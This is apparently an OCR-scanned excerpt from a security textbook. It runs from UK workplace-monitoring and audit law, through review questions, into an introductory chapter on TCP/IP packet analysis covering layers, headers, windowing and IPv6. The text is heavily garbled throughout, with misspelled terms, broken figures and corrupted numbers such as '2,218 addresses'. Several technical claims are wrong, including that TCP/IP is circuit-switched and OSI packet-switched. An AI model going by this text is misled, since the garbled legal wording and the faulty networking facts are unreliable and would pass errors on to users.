provide that an employer retains the right to carry out monitoring despite the fact the emplovee has not given
his or her express consent, if such monitoring is required to carry out the follvwing:

* Recording evidence of business transactions

* Ensuring compliance with regulatory or self-regulatory guidelines

* Maintaining the effective operation of the employer’s systems (for example, preventing viruses)
* Monitoring standards of training and service

* Preventing or detecting criminal activity

* Preventing the unauthorized use of the compuater o telephone system

The Telecommunications |Lawful Business Practice) [Interception of Communications) R=5u|:|tim1: 20D,
makes the following Regulations:

1. Citation and commencement:

These Regulations may be cited as the Telecommunications (Lawful Business Practice] (Inberception of
Communications] Regulations 2000 and shall come into force on 24th Ocrober 2000,

I, Interpretation:

In these Regulations -

{a) References to a business include references to activities of 2 government department, of any public authir-
ity or of any person or office holder on whom functions are conferred by or under any enactment;

|:|:|!l A reference 0 a communication as relevant to a business is o reference o -

(i) A communication -

(aa) By means of which a transaction is entered into in the course of that business, or

{bb} Which otherwise relates to that business, or

{ii} A communication which otherwise takes place in the course of the carrying on of that business;

(c] “Regulatory or self-regulatory practices or procedures™ mean practices or procedures -

(i) Compliance with which is required or recommended by, under or by virtue of -

{aa) Any provision of the law of a member state or other state within the European Economic Area, or

(bb] Any standard or code of practice published by or on behalf of 2 bedy established in 2 member state or
other state within the European Economic Area which includes amongst its objectives the publication of stan-
dards ar codes of practice for the conduct of business, or

(i} Which are otherwise applied for the purpose of ensuring compliance with anything so required
or recommendeds

(d] *System contraller™ means, in relation o a particolar telecommunication system, a person with a right
to congrol s operation or use.

3. Lawful interception of o communication

(1] The conduct is authorized subject to paragraphs [2) and |3} below, if it consists of interception
of a communication, in the course of its transmission by means of a telecommunication system, which is effected
by or with the express or implied consent of the system controller for the purpose of -
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[a] Monitoring or keeping a record of communications —

ii} In order to -

|aa) Establish the existence of facts, or

[k} Ascertain compliance with regulatory or self-regulatory practices or procedures

which are -

applicable to the system controller in the carrying on of his business or

applicable to another person in the carrying om of his business where that person is supervised by the system
controller in respect of those practices or procedures, ar

[ec) Ascertain or demonstrate the standards which are achieved or ought to be achieved by persons using the
system in the course of their duties, or

[ti) In the interests of national security, or

[tii] For the purpose of preventing or detecting crime, or

(v} For the purpose of investigating or detecting the unauthorized use of that or any other telecommunica-
LEON SyStEm, or

¥l Where that s undertaken -

[aa) in order to secure, or

(kb as an inherent part of, the effective operation of the system (including any monitoring or keeping of a

; or

(k) Monitoring communications for the purpose of determining whether they are communications relevant
to the system controller’s business which fall within regulation 2(k) {i] above; or

(e} Monitoring communications made to a confidential voice-telephony counseling or support service which
is free of charge [other than the cost, if any, of making a telephone call) and operated in such a way that users
may remain anonymaouas if they so choose.

[2) Conduct is authorized by paragraph (1) of this regulation only if -

[a) The imterception in question is effected solely for the purpose of monitoring or (where appropriate) keeping
a record of communications relevant to the system controllers business;

[k} The telecommunication system in question is provided for use wholly or partly in connection with
that business;

(e} The system contraller has made all reasonable effarts to inform every person who may use the telecom-
munication system in question that communications transmitted by means thereof may be intercepted; and

[d} In a case falling within -

[} paragrap]'l [1iapfri) ahave, the persan 1:-]1' or on whose hehalf the interception is pffected;

[ti) paragraph (1){k) above, the communication is one which is intended to be received {whether or not it has
been actually received| by a person using the telecommunication system in question.’

The Audit Investigation and Community Enterprise Act 2005

The Aundit Investigation and Community Enterprise Act 2005 reinforces powers already in place from the Com-
panies Act. This law strengthens the right of company auditors o information and requires the directors’ report
to comtain a statement that the directors are not aware of any relevant information that has mot been disclosed
to the auditors.

This law makes a director responsible for:

* Giving accurate information o auditors

= Signing off on audit reports artesting that fact

This responsibility takes the form of a statement in the director’s repart to the effect that there is no relevant
information that has not been disclosed to the auditors. The director can be prosecuted for withholding relevant
information

It provides the department or an investigator with the power o direct a company to produce information or
documents, and provides immunity from breach of confidence for anyone who volunteers relevant information,
It also gives inspectors and investigators the power to enter business premises and establishes the procedures 1o
be followed by an inspector ar investigator when seeking entry to the premises.

If inspectors discover that information has heen withheld, the directors will be liable to imprisonment and’
or a fine.
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Chapter Summary

The most prominent security concerns are theft, fraud forgery, unauthorized information access, and
interception or modification of data.

The goal of system security is to protect assets, network infrastructure, nerwork availability, and
confidential data.

Some of the major challenges to security are Internet environment complexity, new technologies,
new threats and new exploits, a limited focus on security, limited security expertise, and

unreported incidents.

Some of the ways to increase security include accurate authentication, proper authorization,
confidentiality of data, integrity of data, availability of data, and nonrepudiation.

Risk exposure analysis should be conducted on physical assets, human respurces, machinery and
equipment, information systems, and data storage.

There are various types of sscurity policies that are milored toward different organizations and types
of businesses, but each is designed to maintain the confidentiality, availability, and integrity

of information.

503 177%9 is a set of recommendations covering all facets of information systems policies and
procedures.

There are laws in place, both in the United States and in other countries, dealing with

information security.

Review Questions

I-\.l

What is ciphertext?

What is identity theft?

Diescribe the four most prominent concerns in system security.

‘What is the purpose of [50 177992




Hande.On Projects

5. What factors influence RAV?

. What are the characteristics of a promiscuouws palicy?

. What are the characteristics of 2 prudent policy?

=

B. What are the characteristics of an acceptable-use policy?

% What are the three classifications of business data?

Hands-On Projects

1. Read about risk assessment.

= Mavigate to Chapter 1 of the Student Resource Center.

= Read the document tithed *Risk Assessment.pdf.”
2. Read an overview of security policies.

= Mavigate to Chapter 1 of the Student Resource Center.

= Read the document titbed “overview of security policies.pdf.”
3. Read about security policy.

= Mavigate to Chapter 1 of the Student Resource Center.
= Read the document titled * Security policy.pdf.”™
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4. Read about 1500 17799,
Mavigate to Chapter 1 of the Student Resource Center.
Read the document titled “150-17799.pdf.”
5. Read about HIPAA law.
Mavigate to Chapter 1 of the Student Resource Center.
Read the document titled *HIPAA Lawpdf”
6. Read the Human Rights Act of 1998
Mavigate to Chapter 1 of the Student Resource Center.
Read the document titled *HUMAN RIGHTS ACT 1998 pdf.”
7. Read abaut the Information Act of 2000,
Navigate to Chapter 1 of the Student Resource Center.
Read the document titled “Information Act 2000.pdF.”
8. Read about the Telscommunications Regulations Act of 2000
Mavigate to Chapter 1 of the Student Resource Center.
Read the document titled * Telecommunications (Lawful Business Practice).pdf.”

Endnotes

Thetpabwwwonetlvw mancoukfctstelecommunications-law ful-business-practice-interceptisn-of-communications-
regulations-2000. php.



Chapter

TCP/IP Packet Analysis

Objectives
After completing this chapter, you should be able to:
» Describe the TCRIP model
= Compare 05l and TCPAR
= Explain basi TCP operation
= Explain windowing
= Explain how TCP sequences numbers
= Understand addressing
= Differentiate between IPv4 and 1PvE
= Mame the varlous TCRIP protocols
* Understand UDP operation
= Understand TCP and UDP port numbers
= Understand ICMP and ICMP control messages

Key Terms

Firawall an IF packet filter that enforces filter and security policies on network traffic

IP {Internat Protocol) 2 data-transfer pmtnl.'l:-| that works in the network or Internet laynr by
transmit data using the source and destination addresses

IPSac (Intemnat Protocol Socartty) o framework of open standards developed by the Internet
Engineering Task Force (IETF) that provides secure transmission of sensitive data aver an
unprotected medium like the Internet

051 [Dpan Systems Interconnection) referencs modal  a seven-layer model for interconnection
and data transfer

Packet filtaring  the process of controlling network traffic by checking the incoming packets
against a predefined security policy

Sequends numbars  a set of numbers used in TCP data transfer to indicate to the destination
device the correct order in which to put the bytes
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TCP (Tramsfar Control Protocol]l  the main pmtucu| in the TCMIP suite for hand|in.g data transmision
TCMIP protocol surte  the set of protocols included as part of the TCHIF maodel

TCPIP rafarance medel 2 four-layer model for interconnection and data transfer

UDP (User Datagram Protocol]) 2 protocel of the TCWIP protocol group that is wsed instead of TCP
when there is no requirement for reliable delivery

‘Windowing the quantity of data segments that a machine can transmit on the network without receiving
an acknowledgment

Introduction to TCP/IP Packet Analysis

The TCHIP protocol suite communicates by means of data packets. These packets carry information ranging
from e-mail messages to music files. These packets can also be used to carry out denial-of-service attacks and
carry viruses. They are also useful tools for diagnosing connection problems in a network. This chapter will
equip the reader with the strategies necessary to carry out accurate packet analysis by explaining the structure
of the TCWHIP model, the makeup of TCP and IP headers, the type and meaning of ICMP messages, and the

secure uses of UDT.

TCP/IP Protocol Suite

TCMIP pravides a broad range of communication protocols for the various applications on a network. The set
of protocals that are included as a part of TCMIP is called the TCMIP protocol stack or TCWYIP profocel suite.
The following are the layers of the TCPIP reference model (a four-layer model for interconnection and data
transfer) and the different major protocods incloded in the protocal suite:
1. Application leyer: This layer enables the functioning of the FTF, TFTF, Telnet, SMTF, MINTF, SMNMF,
and HTTPF protocals.
2. Tramsport layer: This is where flow-control and connection protocols, such as TCP and UDP, exist. This
layer deals with opening and maintaining connections, and ensuring that packets are, in fact, received.

3. Imternet layer: This layer defines [P addresses and provides routing schemes for navigating packets from
ane IF address to anather.

4. Metwark access layer: This layer describes the physical equipment necessary for communications,
such as twisted-pair cables; the signaling used on that equipment; and the low-level protocols using
that signaling.

Application Layer

Muost programs use the application layer for network communication. Data are passed from the program in
an application-specific format and are then encapsulated into a transport-layer protocol. Because the IF stack
has mo layers between the application and transpart layers, the application layer must incdlude any protocols
that do not work in the transport layer. This is usually done through libraries. Data sent over the network are
passed into the application layer, where the data are encapsulated into the application-layer protacal. From
there, the data are passed down into the lower-layer protocol of the transport Layer. The two most commaon
loweer-layer protocals are TCF and UDP. Common services have specific ports assigned to them (HTTP uses
port 80, FTF uses port 21, etc.], while clients use ephemeral ports. Routers and switches do not wtilize this
layer, but bandwidth-thrattling applications do. The following protocols are used to transfer data through
the application layer:

* Tefnet: Used for remote login

* FTP: A file transfer protocol

* SMTP: Used for electronic mail; stands for Simple Mail Transfer Protocol

* HTTP: Hypertext Transfer Protocol

* DME: Maps IF addresses to the names assigned to the devices; stands for Diomain Mame Service

* RIP: Handles routing information; stands for Routing Information Protocol
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= NMP: A protocol that is used to collect information from all network devices; stands for Simple Net-
work Management Protocol

® MF5: The Metwork File System, developed by Sun Microsystems, allows machines to mount network
drives and treat those drives as local drives

Transport Layer

This is the third layer in the TCIIP model, and it provides communication among diversely connected systems.
This layer is capable of transporting data to and from varicos applications. It provides end-to-end communica-
tiom. This layer manages transfer of data between two important protocals, namely TCP and UDT It also man-
ages the connection between various network applications. It is the most visible layer to application designers.

The service of the transport layer is to give a virtual end-to-end “message pipe” for applications. In other
words, two applications on different hosts can communicate messages to each other as if they were directly
connected —the details of the underlying network are hidden. This layer mainly concentrates on quality-control
issues like reliability, error control, and flow control. The basic functions of this layer are:

= Reliability

* Flow control

® Error correction

* Broadcasting

This layer mainly deals with two major protocols. They are:
1. Transmission Contral Protocol (TCP)

2. User Datagram Protocol (LUDP)

Internet Layer

This layer is also called the Internet working layer. It is the second layer in TCHIP, and it is responsible for
providing machine-to-machine communication. The Internet layer plays a major role in deciding the best route
for sending a data packet.

The Internet layer performs the following functions:

= Defines the datagram (packet} and addressing scheme

* Nloves data between the network access layer and transpore layer

® HRoutes datagrams to remote hosts

= Performs fragmentation and reassembly of datagrams

* Provides connectionless delivery service

* Provides routing functions that are necessary to operate with other networks

Network Access Layer

The network access layer is responsible for placing TCPAIP packets on networks. This layer performs the fol-
howing functions:
® This layer describes the physical connection necessary for communications.

= Some of the services provided by this layer for the Internet layer to use are frame size, addressing capa-
bilities (unicast, multicast, broadeast), and quality of service (Qo%).

® This layer is responsible for delivering a data packet within a single neework.

= [Internet-layer segments are encapsulated into frames.

= A frame check sequence (cyclic redundancy check) is added to the end ferror checking ).

= Frames are either broadcast or switched over the network using svurce and destination MAC addresses.

Eoth hardware and software drivers are implemented at this layer. This is the only layer that usually keeps
track of physical characteristics of the underlying network, induding access rules, data-frame structure,
and addressing.



24 Chapiar 2

o1 |rcewe

Frasantation {layer 6
_
“Transpart {loyer 41 Trarsport
mtemst
Data link {loyer 21 Mstwork oroess

Table 2-1 The seven layers of the 051 medal map to the four layers
of tha TCRAP modsd

Comparing 051 and TCAIP

The Q5F meodel is the Open Systems Intercommection referemce model. It uses a seven-layer model that is similar
to the TCIIF model. The TCFAP model is a standard around which the Internet and the World Wide ‘Web are
developed, whereas the 051 model is the generic protocol standard for transmission. TCPIP s also said to be
less complex, because the rumber of layers it has is less than the OS5I model. The network layer of the 051 model
supports both connectionless and connection-oriented. transmission modes. In the TCHIP model, only one
maode is supported at a time. The OS5I model supports only connection-oriented communication in the transport
layer. The TCHIF model supports both modes in the transport layer. The implementation of the OS5I model is
poor compared to the TCPIP model. The application layer of the TCPAT model can handle all the responsibili-
ties of the session, presentation, and application layers of the OSI model. The reliable delivery of packets in the
OS] madel is not present in the TCWIF model. There is another protoced in the TCWIP model called UDP, which
dies not guaramtee the reliability of packet delivery.

The protocols can be used by other protocols in TCMIP if they are in the same layer. In the 051 model, two
layers must be defined in this case. The 051 model is a packet-switched network, whereas the TCIIP maodel is a
circuit-switched network. TCPIP has only the network access layer as compared to the data-link and physical lay-
ers of the O8I model. Table 2-1 shows how the layers of the OS0 model map to the layers of the TCPIT model.

TCP (Transmission Control Protocol)

TCP, introduced in 1970, operates in the transport layer of the TCHIF model. TCP (Transmission Coatrol
Protocod) is the main protocol in the TCPIP suite for handling data transmission. TCP ensures data integriey
and is a comnection-oriented protocel that follows the handshake methodology before the heginning of the ses-
sion to exchange data between two intended parties.

The Transmissicn Control Protocol is among the main protocals of the TOMIP protocol set. With TCF,
applications on computers in the network can initiate connections with other computers, through which they
can transfer data. The protocol assures that a data packet jcalled a segment at this layer) sent through one
endpaint will be approved in a similar order by the other endpoint, exclusive of any missing fragments. It also
differentiates data from diverse applications like Web servers and e-mail servers on the same system.

TCF supports other Internet applications, together with HTTP, SMTF, and 55H. The Transmission Control
Protocol is a reliable-delivery byte-stream communication protocod that functions in the transport layer. In the
TCMIF protocal set, TCP is the transitional layer linking the Internet Protecol and an application. Applications
often require consistent connections between each other, and the IP protecol does not offer such streams, only
relatively erratic packets.

Three-Way Handshake

TCP is a connection-oriented, reliable protocal. A connection is established before data transfer takes place. The
husts have to synchronize the initial sequence numbers to establish the connection. The synchronization takes
place with the exchange of segments that have a SYMN [synchronize) bit and the initial sequence number (15M).
The host exchanges its own sequence number and receives a confirmation in the form of an acknowledgment
before the synchronization. Each side must have the initial sequence number of the other side and return a reply
of acknowledgment.
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Figure 2-1 TCP uzes a three-way handshake to ensure a reliable connection.
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Figure 3-2 This figure displays the steps in a three-way handshake.
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This exchange is called the three-way handshake and is shown in Figures 2-1 and 2-2. The three-way hand-
shake is mandatory, because the sequence numbers are not the same as those of the global dock. The sender
does not tell the receiver about any delays in sending segments until it receives the last sequence number on the

current comnection.

TCP Header

The fields of a TCP header, shown in Figure 2-3, are:

* Source port: The source port is 16 bits.
® Destination port: The destination port is 16 bits.
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Figure 2-3 TCP headers have a number of different required fields.

Sequence number: The sequence number is 32 bits. The sequence number is the first data octet in this
segment |except when SYM is present). If YN is present, the sequence number is the initial sequence
number (15N}, and the first data octer is 15N + 1.

Ackroeledgonent momber: When this field is set, it contains the value of the next sequence number of

the acknowledgment that the sender is expecting to receive from the receiving end. After the connection,
the acknowledgment bit is always forwarded to the sender.

Durta offset: The data offset is 4 bits of the 32-bit word in the TCP header, which indicates the begin-
ning of the data.

Reserved: This field size is 6 bits, which is reserved for future use.

Control bits: This field size is 6 bits. Starting from right to left, it includes the following:
= LJ{URG): Urgent pointer field

® ALACK]: Acknowledgment field

= PP5H|: Push function

* RiR5T): Reset the connection

B RIRY M| S]I'Dd'l:l'\Dm:i!E SEUENCE mumber

® FFIN|: Mo more data from the sender sides

Window size: It is 16 bits. It is the number of the data octet that the sender is willing to accept. It begins
with the octet indicated in the acknowledgment field

TCP checksiom: The checksum field is the 16-bit complement of the complement sum of all 16-bit words
in the header and text. If a segment contains an odd number of header and text octets to be check-
summed, the last octet is padded on the right with zeros to form a 16-hit word for checksum purposes.
The pad is not transmitted as part of the segment. While computing the checksum, the checksum field
itself is replaced with zeros. The checksum also covers a 96-bit pseudoheader conceptually attached to
the TCP header. The combination of the TCP header and the TCP in a single packet is called a TCP
segment. The size of the TP header is 20 bytes without the options.

Chprtices: The size of the options may vary. It is necessary to pad the TCP header with zeros so that the
segment will end at a 32-bit word boundary.

Durta: It carries the application data from the sender to the receiver.
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Figure 2-4 Windowing deals with the data segment size that can be transferred
without receiving an acknowledgment.

TCP Operation

TCP is respansible for the reliability and flow control of the data transker from the source to the destination.
This is accomplished using:

L] Slidi.n.g windows {flow contral)
® Sequencing numbers and acknowledgments (reliability)
= Synchronization jestablishing a virtal circuoi)

Flow Control

The receiver has the right to govern the amount of data that is sent by the sender. This is achieved by returning
a window for every ACK, which indicates a range of the acceptable sequence numbers before the last segment
is successfully received. The window gives a set of octets that a sender can transmit before the permission is
granted. When the transport layer sends the data segments, it ensures that the data are not lose. The data loss
occurs when a host doesn't process the data as fast as the data are arriving. A How-control mechanism is used
to avaid overflow conditions in the destination host. Before the data transfer takes |_:||a.oe-,TE]" allows the source
and destination host to communicate and decide a data transfer rate that is suitable to bath,

Windowing Windowing in networking means the quantity of data segments, which is measured in bytes, that
a machine can transmit on the network without receiving an acknowledgment.

A part of the flow-contral process, windowing determines the amount of data that can be transmitted at one
time hefore the destination responds with an acknowledgment. After a host transmits the window-sized number
of bytes, the host must receive an acknowledgment that the data have been received before it can send any more
data. For example, if the window size is 1, each byte must be acknowledged before the next byte is sent.

In Figure 2-4, the sender sends three packets before it expects an ACK. If the receiver can handle only two
packets, the window drops packet 3, specifies 3 as the next packet, and indicates a new window size of 2. The
sender transmits the next two packets but still specifies a window size of 3. This means that the sender will still
expect a three-packet ACK from the receiver. The receiver replies with a request for packet 5 and again specifies
a window size of 1.
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Simple Windowing TCP is responsible for breaking data into segments. With a window size of 1, each
segment carries only one byte of data and must be acknowledged before another segment is transmitted. The
purpose of windowing is to improve flow control and reliability. With a window size of 1, there is very inef-
ficient use of bandwidth.

TCP Window 5ize TCP uses a window-size number of bytes that the receiver is willing to accept; the re-
ceiving process usually controls the window size. TCP uses expectational acknowledgments, meaning that the

acknowledgment number refers to the next byte that the sender of the acknowledgment expects to receive. A
larger window size allows more data to be transmitted pending acknowledgment.

The sequence number being sent dentifies the first byte of data in that segment

TCP Full-Duplex Service: Independent Data Flows TCP provides fuoll-duplex service, which means data
can be flowing in each direction, independent of the other direction. Window sizes, sequence numbers, and
acknmowledgment numbers are independent of each other's data flow. The receiver sends an acceptable window

size to the sender during each ssgment transmission (flow contrel).
* If ton much data is being sent, then the acceptable window size is reduced.

* If mare data can be handled, then the acceptable window size is increased.

This is known as a stop-and-wait windowing protocol, as shown in Figure 1-5.
Sliding Window Sliding window is a technigue used by TCP to control the flow of packets on the network.
The destination host must acknowledge all transmitted data. A single acknowledgment can assure the trans-
mission of multiple data packets. The sender and receiver maintain a message window for which no acknowl-
edgment is received, and that window is the sequence of the message 1Ds. This starts with a low watermark
and is hounded by a high watermark. After the receipt of an acknowledgment, the low and high watermarks
are incremented by 1. In turn, one more acknowledgment is received. Window 1 slides to the right. The ACK
is discarded when the window is full. A sliding window starts from the given size; the sophisticated protocols
adapt the window size dynamically.

send 1
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P |
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Figure 2-5 The stop-and-wait windowing protoo| adjusts the
window depending on the amount of data that can be handled.
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The characteristics of a sliding window at both the ends are:

® Error correction
® Flow control
® Message ordering (FIFO)

One-Bit Sliding Window Protocols
* Stop-and-wait: In this protocel, the sender sends one frame and then waits for the acknowledgment be-
fore sending the next frame, so it is known as the stop-and-wait protocol. The disadvantage of the stop-
and-wait protocol is that only ane frame can be transmitted at a time.

® Selective repeat: Selective repeat is a strategy where lost or damaged frames are re-sent. A buffer is
maintained at the receiving end that buffers the entire frame after the lost cne. When the sender identi-
fies the prablem, it retransmits the lost frame. Selective repeat is shown in Figure 2-6.

Acknowledgment

Heliable d=|:iv=r}' means that when a stream of data is sent from one device to another, the data will reach the
destination withowt any boss or duplication. The positive acknowledgment with a retransmission guarantees the
reliable delivery of data. In the positive acknowledgment, the receiving end communicates with the sender and
sends the ACK when the data is received. A record is maintained for each transmitted packet on the senders
end, and the sender expects an acknowledgment from the receiving end. A timer is maintained when 2 segment
is transmitted, and the segment is retransmitted if the timer expires before the ACK arrives. Positive acknowl-
edgment is shown in Figure 2-7.

In a negative acknowledgment scenario, the sender transmits the data packets 1, 2, and 3. The receiver sends a
receipt of the packets, along with a request for packet 4. When the sender encounters the ACK, it sends packets 4,
5, and 6. 1f packet § does not arrive at the destination, the receiver sends a negative acknowledgment with a request
to resend p.'l.dl::t 5. The sender then retransmits pl:lu:t 5, receives the ACK, and continues the transmission.

TECP provides the sequencing of the segments along with forward reference acknowledgment. Every segment
is numbered hefore transmission. TCP reassembles the segments imto a complete message at the destination end.
The segments that are not acknowledged in a given period of time result in retransmission.

Sequencing Numbers

The data segments being transmitted must be reassembled once all the data are received. There is no guarantes
that the data will arrive in the order they were transmitted. Therefore, TCP applies sequence numbers to the
data segments. Sequence mumbers, shown in Figure 2-8, indicate to the destination device the correct order in
which to put the bytes. These sequence numbers also act as reference numbers so that the receiver will know if
it has received all of the data.
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Figure 2-6 Selective repeat & a strategy where lost or damaged frames are re-sent.
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Figure 2-7 Pasitive acknowledgment with retrarsmission guarantess the
reliable delivery of the data.

Synchronization

Twar end stations must synchronize with each other's initial TCP sequence numbers {15Ms) to establish a con-
nection. Ssquence numbers are used to track the order of packets and to ensure that no packets are lost in trans-
mission. The initial sequence number is the starting number used when a TCP connection is established. The
exchange of initial sequence numbers during the connection ensures that lost data can be recovered. See Figure 2-9
for a depiction of synchronization.

Positive Acknowledgment with Retransmission

The transport pratoce] implements the reliability and flow-control technique in which the source transmits one
packet, starts a timer, and then waits for an acknowledgment before the next packet is transmitted. When the
acknowledgment is not received before the timer expires, the packet is retransmitted. This technique is called
pusitive acknowledgment with retransmission (PAR)L

Each packet is assigned a sequence number. With the help of PAR, a host can keep track of lost or dupli-
cated packets. The sequence numbers are sent back in the acknowledgment, by which the acknowledgment can
be tracked.

Internet Protocol (IP)

IP (Entermei Protocol) is a data-transfer protocol jusing a 32-bit address space| that works in the network or In-
ternet layer to transmit data packets [called datagrams at this layer| using the source and destination addresses.
IP is the most important protocal in the network layer. The most widely used version of IP is version 4, although
version & (using a 128-bit address space] has come into prominence for uses that will be delineated later.
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Figure 2-8 Sequence numbers indicate to the destination device the comect order
in which to put the bytes.
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IP Header
The following fields are included in an IF header, as shown in Figure 2-10:

* Version: The version field is 4 bits. The version field indicates the format of the header, or the version of
I[P used, such as [Py or 1P wi.

* [HL: The IHL is the Internet header length. It is the length of the Internet header in 32-hit words; it
points to the beginning of the data. The minimum IHL value is 5, so the length itself in that case would
ke 5 32 bits.

* Type of service: It provides the abstract parameter of the guality of service desired. These parameters
are used for selecting the actual service of the datagram in the transmission. High-precedence traffic is
passed along first. There are three ways that what is considered high-precedence traffic is determined.
They are:

* Low delay
= High reliability
= High throughput
This field is divided as follows-
Bits (-2: Precedence
= 111: Metwork control
= 110: Internetwork control
= 101 CRITICZECE
= 100: Flash override
= (11: Flash
= {1 Immediate
# (WM : Priarity
* (W} Routine
Bit 3: 0 = Normal delay, 1 = Low delay
Bit 4: 1 = Mormal throughput, 1 = High throughput
Bit §: 0 = Normal reliability, 1 = High reliability
Bits §—7: Reserved for future use
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Figure 2-10 IP headers contain a number of fields.
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Total lemgth: The total length field is 16 bies. The length of the datagram is measured in bytes or mchets,
including the Internet header length and data. The length of a datagram in this field is up o 65,535
bytes, although it is unlikely that a datagram will ever be this large, as Ethernet framing only allows
packets of 1,500 bytes. The host should accept a minimum of 576 bits; 576 was selected so that the dara
can be sent in 512 bits and the remaining 64 bits can be kept for the headers.

Idemtification: The identification field is 16 bits. [t identifies the value assigned by the sender, which
helps reassemble the fragments of the datagram.

Flags: This field is 3 bits. The following are some of the various control flags:

= Jit @ Reserved; must be zern

= Bit 1: [}F) @ = May fragment, 1 = Don't fragment

= Bt 2: (MF| 0 = Last fragment, 1 = More fragments

Fragment offzet: The fragment-offset field is 13 bits. This field indicates the position of the fragment in
the ﬂat:.grar.n. It s measursd in octees of & units each |54 bies). The first I:mgm:nt has offset 0.

Timne to live: The time-to-live field is § bits. This field specifies the pericd of time a datagram is allowed

to live in the Internet system. I the value in this field is 0, then the datagram itself is destroved at thar

time. The unit for measuring the time is seconds. Every module that processes the datagram decreases

the value of the time-to-live fiell. The main purpose behind using the time-to-live field is to discard

packets that are undelivered.

® Protocol: This field is 8 bits. It indicates the next level of protocol used in the Internet datagram. The
walue for the protocol is given in the assigned numbers.

® Header checksanr: The header-checksum field is 16 bits because there are some header fields that change

{for example, time to live) every time a header is processed.

* Sowurce address: The source address field is 32 bits and gives the address of the sender
® Destingtion address: The destination address field is 32 bits and gives the address of the destination.

* (Opticers: The options field is o variable that may or may not appear in the header but must be implemented
by all medules. There are some areas where the security option is required in all datagrams. This field is
wariahle in length. It may have zem or more options. There are two cases for the format of the options:

= Case 1: A single octet of the option type
* Case 1: An option-type octet, an option-length octet, and the actual option-data octets

The option-length octet counts the option-type octet and the option-length cctet as well as the option-data
octets. The option-type octet has three fields:

® 1-hit copied flag

= 2-hit option class

= 5-hit option number

The copied flag indicates that this option is copied inte all fragments upon fragmentation.
= {} = Mot copied

" | = Copied

The option classes are:

=} = Control

® | = Reserved for future use

® 1 = Diebugging and measurement
® 3 = Reserved for future use

Internet Protocol vé (IPvE)

1Pv6 [Internet Protocol version 6 i the latest level of the Internet Protecol and is now included as part of the 1P
support in many produocts, including most major computer operating systems. 1Pvé has also been called “1Png,”
that is, IF Mext Generation. Formally, IPwé is a set of specifications from the Internet Engineering Task Force
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(IETF}. It was designed as an evolutionary set of improvements to 1P version 4. Network hosts and intermediate
nuedes with either IPv4 ar IPvE can handle packets formatted for either level of the Internet Protocol. Users and
service providers can update to [Pvé independently without coordinating with each other.

Expandable Address Space

With a 128-hbit address space, IPvé provides expandable address space, solving the address depletion problem in
IPv4. The purpose of the large address space was to permit many levels of address allecation within an organi-

zation, from Internet to individual subnets. Diespite the Fact that only a relatively small number of addresses are
presently allocated for host utilization, a bigger address space is available for future use.

Mandatory IP Security
IPSec is mandatory in the IPv6 implementation. IPv4 also supports [PSec, but it is optional. [PSec (Trfermet
Protocol Security] is a framework of open standards developed by the Internet Engineering Task Force |[IETF).
It provides secure transmission of sensitive data over an unprotected medium like the Internet. From the network
layer, IPSec protects and authenticates 1P packets.

The following factors provide IPv6 with the potential for information technology growth:

* Address space (Larpe end diverse): This provides more addresses to the numerous new devices—such as
mushile phones, personal digital assistants (PDAs|, new Internet appliances, and personal computers—
and to the numerous users of heavily populated countries like India, China, and Indonesia.

*  Autoconfiguration ability (plug-and-play): Self-configuring nodes for local links, autoconfiguration for
site links, cost-saving route advertisement, and centralized management.

* Mobility: Improves mobility model in the wireless networking world.

* End-to-end secarity: Provides end-to-end security with basic support for payload emcryption and
authentication, which offers a high comfort factor for all Internet networking environments.

* Extension beaders joffer enormons potentiall: Because options are now placed in separate headers—
namely, extension headers—the problem of routers having to look at the number of options is solved.

IPve Header

The ITvis header is simpler and more streamlined, compared to the IPv4 header. In this header, some unnecessary
fields are removed, providing enhanced support to real-time traffic. 1Pvé headers contain the following fields-
* Versiom: The version of IP is indicated with 4 bits_
* Traffic class: This 8-bit field is similar to the type-of-service field of the IPv4 header
* Flow label: This 20-bit field is set to zero for handling default routing. This field is used for nondefaule

guality-of-service connections.

* Payload lemgth: This field is 16 bits and includes extension headers and upper-layer PDU indicating the
length of the IPvé payload, which is approximately 65,535 bytes long. If the IPvé payload is longer than
65,535 hytes, then this field is set to zero.

* Mext beader: This field is 8 bits and either indicates an upper-layer protocol like TCF or UDP, or the ex-
tension header.

* Hop limit: This field is 8 bits and indicates the highest number of links over which the IPv6 packer can
travel before being discarded.
Sonrce IF address: This field is 128 bits and stores 1Pv6's originating host address.

* Destination [P address: This field is 128 bits and stores [Pv6%s destination host address. This field is set
tar the final destination address in most cases,

IPvé's header format is illustrated in Figure 2-11.

Features of IPve

In IPv6, there are 128-bit expanded addressing and routing capabilities, which provide 2,218 addresses
for solving the problem of address depletion. With the use of a scope field, scalahility of multicast routing
is possible.

-
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Version Traffic Class Flew Labal
Paylcad Langth Mext Headasr Hop Limit
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Destination IF Address

i2bie

IPvE Header
Figure 2-11  IPvE headers are different from IPvd headers.
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Figure 2-12 Dual stacks assume that the host supports
[Pyl and 1P,

The simplified header format provides greater flexibility by reducing the protocol overhead of 1Pvé. With
IPvi extension headers, the [Pv4 40-byte limit on options is removed.

Security in IPv6 is the key feature and enables authentication and encryption through integrated
SECUTEY SUppOrt.

[Pwé supports authentication and privacy, which is mandatory for authentication, header, data integrity, and
payload encryption. The auteconfiguration facilities of IPvé have detached the configuring node complications
that exist in IPv4, bringing the protocol one step closer to true plug-and-play functionalicy.

[Pvé supports the Source Demand Routing Protocel, making data routing easy for both sender and receiver, as
both can share the same packet roate for sending and receiving data packets. Supporting the present IPv4 stan-
dards, 1Pwé supports quality of service. For better traffic flow, a new 20-hit field has been introduced.

IPv4/1Pvh Transition Mechanisms

Three transition mechanisms are available to deploy 1FvE an 1P networks.
The transitions can be wsed in any combination:

1. Dweal stacks: In this method |Figure 2-12), it is assumed that the host or router supports both IPvé and
IPw4 in its architecture, which allows it to sendireceive both IPv6 and 1Pv4 packets.
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Figure 2-13 In this mechanizm, an IPvE packet is encapsul ated into an
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Figure 2-14  Protocol translation mechanisms, such as Netwark

Address Trarslation Protoco| and Stateless IP-HCMP Translation, enable
1P hosts and [Pvd haosts to communicate.

Timmeling: In this mechanism (Figure 2-13), an IPv6 packet is encapsulated into an 1Pv4 packet, which can
then be wtilized by two 1Pvé nodes for communicating with each other on [Pv4 networks. While upgrad-
ing hosts, routers, or regions, a network administrator has to be careful to avoid order dependencies.

. Tramslation: Protocol translation mechanisms, such as Network Address Translation Pratocol and State-

Less IP-ICMP Translation, enable IPv6 hosts and 1Pv4 hosts to communicate. This can be accomplished
if the IPv6 packets are converted into IPv4 and vice versa. Figure 2-14 depicts this method.

IPv6 Infrastructure Securfty
Because DMNS was designed without security in mind, it has many security issues, such as:

Performance may be affected due to improper configuration and use of 1Pvé.

